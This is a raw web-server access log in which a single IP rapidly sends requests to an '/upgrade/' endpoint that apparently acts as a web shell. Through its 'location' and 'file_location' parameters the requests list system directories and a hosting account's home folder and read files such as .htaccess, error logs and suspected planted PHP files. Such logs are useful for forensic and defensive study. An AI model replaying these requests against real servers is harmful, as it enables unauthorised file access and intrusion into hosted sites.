45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fsbin HTTP/1.1" 200 37358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fusr HTTP/1.1" 200 6664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F HTTP/1.1" 200 7683 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Fhome HTTP/1.1" 200 5720 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Flib HTTP/1.1" 200 8122 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2F%2F%2Fimunify-release-latest.el9.rpm&location=%2F%2F HTTP/1.1" 200 14095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2F%2F%2Fprovision-status%3Fmac%3D9c%3A6b%3A00%3A2e%3A1f%3A53&location=%2F%2F&message=Post-installation+scripts HTTP/1.1" 200 7741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Fopt HTTP/1.1" 200 6261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Froot HTTP/1.1" 200 5723 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Fscripts HTTP/1.1" 200 37547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Fsys HTTP/1.1" 200 6343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Ftmp HTTP/1.1" 200 10001 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2F%2F%2Fquota.user&location=%2F%2F HTTP/1.1" 200 8476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2F HTTP/1.1" 200 7686 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/index.php?location=%2F%2F HTTP/1.1" 200 7691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Fdev HTTP/1.1" 200 7101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2F%2Flost+found HTTP/1.1" 200 6762 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality HTTP/1.1" 200 6158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=file HTTP/1.1" 200 7868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bashrc&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.lastlogin&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8110 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.myimunify_id&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8012 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinenable&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7925 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flogs HTTP/1.1" 200 11571 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp HTTP/1.1" 200 6263 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2F HTTP/1.1" 200 5720 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor HTTP/1.1" 200 6635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail HTTP/1.1" 200 8472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=folder HTTP/1.1" 200 7870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin HTTP/1.1" 200 6474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache HTTP/1.1" 200 6163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_logout&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav HTTP/1.1" 200 6260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash HTTP/1.1" 200 6158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html HTTP/1.1" 200 10967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.imunify_patch_id&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8016 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel HTTP/1.1" 200 6736 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl HTTP/1.1" 200 6503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp HTTP/1.1" 200 6868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinboxenable&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7931 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 20542 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds HTTP/1.1" 200 6165 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fwww HTTP/1.1" 200 10961 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_profile&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8039 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7856 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Faccess-logs HTTP/1.1" 200 8386 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc HTTP/1.1" 200 7100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.wp-toolkit-identifier&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8583 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 52191 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=dir HTTP/1.1" 200 7868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw HTTP/1.1" 200 8524 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw HTTP/1.1" 200 8394 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw HTTP/1.1" 200 9600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW HTTP/1.1" 200 6772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw HTTP/1.1" 200 9668 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw HTTP/1.1" 200 8393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin HTTP/1.1" 200 6423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content HTTP/1.1" 200 6696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content-20260912023544 HTTP/1.1" 200 5978 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2F HTTP/1.1" 200 7760 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw HTTP/1.1" 200 8343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw HTTP/1.1" 200 9697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade HTTP/1.1" 200 6770 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11160 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11165 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw HTTP/1.1" 200 6328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw HTTP/1.1" 200 8295 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com-20260912023713 HTTP/1.1" 200 8372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6-20260912023539 HTTP/1.1" 200 7804 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=dir HTTP/1.1" 200 10979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw HTTP/1.1" 200 9687 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2F-20260912023718.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11953 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Ferror_log-20260912023633.&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11537 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fmah-20260912023710.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 23662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2F HTTP/1.1" 200 5764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7882 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com-20260912023731 HTTP/1.1" 200 8230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw HTTP/1.1" 200 9953 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw HTTP/1.1" 200 8379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=file HTTP/1.1" 200 10977 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fthoms-20260912023711.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 55095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com-20260912023525 HTTP/1.1" 200 8238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
